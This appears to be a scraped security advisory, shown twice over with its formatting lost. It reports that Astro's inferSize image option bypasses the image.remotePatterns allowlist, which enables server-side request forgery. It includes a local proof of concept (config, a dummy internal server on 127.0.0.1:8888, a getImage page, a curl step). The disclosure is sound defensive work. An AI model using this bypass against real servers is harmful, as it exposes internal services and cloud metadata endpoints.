Summary
A bug in Astro's image pipeline allows bypassing image.domains / image.remotePatterns restrictions, enabling the server to fetch content from unauthorized remote hosts.
Details
Astro provides an inferSize option that fetches remote images at render time to determine their dimensions. Remote image fetches are intended to be restricted to domains the site developer has manually authorized (using the image.domains or image.remotePatterns options).
However, when inferSize is used, no domain validation is performed — the image is fetched from any host regardless of the configured restrictions. An attacker who can influence the image URL (e.g., via CMS content or user-supplied data) can cause the server to fetch from arbitrary hosts.
PoC
Details
Setup
Create a new Astro project with the following files:
package.json:
{
"name": "poc-ssrf-infersize",
"private": true,
"scripts": {
"dev": "astro dev --port 4322",
"build": "astro build"
},
"dependencies": {
"astro": "5.17.2",
"@astrojs/node": "9.5.3"
}
}astro.config.mjs — only localhost:9000 is authorized:
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
image: {
remotePatterns: [
{ hostname: 'localhost', port: '9000' }
]
}
});internal-service.mjs — simulates an internal service on a non-allowlisted host (127.0.0.1:8888):
import { createServer } from 'node:http';
const GIF = Buffer.from('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==', 'base64');
createServer((req, res) => {
console.log(`[INTERNAL] Received: ${req.method} ${req.url}`);
res.writeHead(200, { 'Content-Type': 'image/gif', 'Content-Length': GIF.length });
res.end(GIF);
}).listen(8888, '127.0.0.1', () => console.log('Internal service on 127.0.0.1:8888'));src/pages/test.astro:
---
import { getImage } from 'astro:assets';
const result = await getImage({
src: 'http://127.0.0.1:8888/internal-api',
inferSize: true,
alt: 'test'
});
---
<html><body>
<p>Width: {result.options.width}, Height: {result.options.height}</p>
</body></html>Steps to reproduce
- Run
npm install and start the internal service:
node internal-service.mjs
- Start the dev server:
- Request the page:
curl http://localhost:4322/test
internal-service.mjs logs Received: GET /internal-api — the request was sent to 127.0.0.1:8888 despite only localhost:9000 being in the allowlist.
Impact
Allows bypassing image.domains / image.remotePatterns restrictions to make server-side requests to unauthorized hosts. This includes the risk of server-side request forgery (SSRF) against internal network services and cloud metadata endpoints.
pHo9UBenaA Reporter
Summary
A bug in Astro's image pipeline allows bypassing
image.domains/image.remotePatternsrestrictions, enabling the server to fetch content from unauthorized remote hosts.Details
Astro provides an
inferSizeoption that fetches remote images at render time to determine their dimensions. Remote image fetches are intended to be restricted to domains the site developer has manually authorized (using theimage.domainsorimage.remotePatternsoptions).However, when
inferSizeis used, no domain validation is performed — the image is fetched from any host regardless of the configured restrictions. An attacker who can influence the image URL (e.g., via CMS content or user-supplied data) can cause the server to fetch from arbitrary hosts.PoC
Details
Setup
Create a new Astro project with the following files:
package.json:{ "name": "poc-ssrf-infersize", "private": true, "scripts": { "dev": "astro dev --port 4322", "build": "astro build" }, "dependencies": { "astro": "5.17.2", "@astrojs/node": "9.5.3" } }astro.config.mjs— onlylocalhost:9000is authorized:internal-service.mjs— simulates an internal service on a non-allowlisted host (127.0.0.1:8888):src/pages/test.astro:Steps to reproduce
npm installand start the internal service:internal-service.mjslogsReceived: GET /internal-api— the request was sent to127.0.0.1:8888despite onlylocalhost:9000being in the allowlist.Impact
Allows bypassing
image.domains/image.remotePatternsrestrictions to make server-side requests to unauthorized hosts. This includes the risk of server-side request forgery (SSRF) against internal network services and cloud metadata endpoints.